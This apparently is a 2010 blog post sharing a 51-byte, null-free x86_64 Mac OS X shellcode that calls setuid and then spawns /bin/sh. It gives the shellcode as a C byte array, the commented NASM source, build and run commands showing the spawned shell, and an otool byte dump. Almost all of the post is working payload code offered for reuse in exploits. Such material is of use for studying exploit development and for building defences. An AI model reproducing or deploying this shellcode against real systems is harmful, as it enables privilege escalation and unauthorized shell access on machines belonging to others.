It doesn’t seem like there’s a lot of x86_64 bit shellcode out there for the Intel Mac platforms so I figured I’d write my own and share it. I’m using Mac OS X 10.6.5 at the time of this post.

Shellcode

Instead of starting with the source and ending with the shellcode, we’re going to throw this one in reverse and get right to the shellcode. So here you have it, a 51 byte Mac OS X 64 bit setuid/shell-spawning shellcode

/*
 * Name: setuid_shell_x86_64
 * Qualities: Null-Free
 * Platforms: Mac OS X / Intel x86_64
 *
 *  Created on: Nov 25, 2010
 *      Author: Dustin Schultz - TheXploit.com
 */
char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x2f\x73\x68";

Source

And now for the source in NASM/YASM syntax. If you’ve never done system calls on 64bit OS X and you’re confused, be sure to read my post on 64 bit system calls in os x.

; File: setuid_shell_x86_64.asm
; Author: Dustin Schultz - TheXploit.com
BITS 64

section .text
global start

start:
a:
 mov r8b, 0x02          ; Unix class system calls = 2
 shl r8, 24             ; shift left 24 to the upper order bits
 or r8, 0x17            ; setuid = 23, or with class = 0x2000017
 xor edi, edi           ; zero out edi
 mov rax, r8            ; syscall number in rax
 syscall                ; invoke kernel
 jmp short c            ; jump to c
b:
 pop rdi                ; pop ret addr which = addr of /bin/sh
 add r8, 0x24           ; execve = 59, 0x24+r8=0x200003b
 mov rax, r8            ; syscall number in rax
 xor rdx, rdx           ; zero out rdx
 push rdx               ; null terminate rdi, pushed backwards
 push rdi               ; push rdi = pointer to /bin/sh
 mov rsi, rsp           ; pointer to null terminated /bin/sh string
 syscall                ; invoke the kernel
c:
 call b                 ; call b, push ret of /bin/sh
 db '/bin//sh'          ; /bin/sh string

I would never blindly use shellcode without testing it out my self (unless it’s from a trusted source like Metasploit)

nobody@nobody:~/$ nasm -f macho64 setuid_shell_x86_64.asm
nobody@nobody:~/$ ld -arch x86_64 setuid_shell_x86_64.o
nobody@nobody:~/$ ./a.out
sh-3.2$

And the final byte representation (verify against C source above)

nobody@nobody:~/$ otool -t setuid_shell_x86_64.o
setuid_shell_x86_64.o:
(__TEXT,__text) section
0000000000000000 41 b0 02 49 c1 e0 18 49 83 c8 17 31 ff 4c 89 c0
0000000000000010 0f 05 eb 12 5f 49 83 c0 24 4c 89 c0 48 31 d2 52
0000000000000020 57 48 89 e6 0f 05 e8 e9 ff ff ff 2f 62 69 6e 2f
0000000000000030 2f 73 68

And that’s all. Be sure to checkback in the future or subscribe to my RSS feed. I definitely have more shellcode to come!